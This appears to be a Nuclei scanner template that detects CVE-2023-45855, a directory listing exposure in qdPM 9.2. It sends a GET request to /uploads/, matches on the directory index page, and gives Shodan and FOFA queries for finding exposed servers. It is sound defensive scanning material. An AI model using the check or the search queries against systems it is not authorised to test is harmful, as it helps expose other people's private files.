id: CVE-2023-45855

info:
  name: qdPM 9.2 - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    qdPM 9.2 allows Directory Traversal to list files and directories by navigating to the /uploads URI.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade qdPM to a non-vulnerable version to mitigate the directory traversal vulnerability.
  reference:
    - https://github.com/SunshineOtaku/Report-CVE/blob/main/qdPM/9.2/Directory%20Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45855
    - https://qdpm.net
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-45855
    cwe-id: CWE-22
    epss-score: 0.79304
    epss-percentile: 0.99092
    cpe: cpe:2.3:a:qdpm:qdpm:9.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: qdpm
    product: qdpm
    shodan-query: "http.favicon.hash:762074255"
    fofa-query: "icon_hash=762074255"
  tags: cve,cve2023,qdpm,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/uploads/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Index of /uploads</title>"
          - "attachments/</a>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bce40feecf3d908081ee1f75931130cfba10e9089d7b07d60db7431c1774311a022037fdf3401924d75bc5c4d0ab74347d222ac69ed8044be582c6341a3d56d973ec:922c64590222798bb761d5b6d8e72950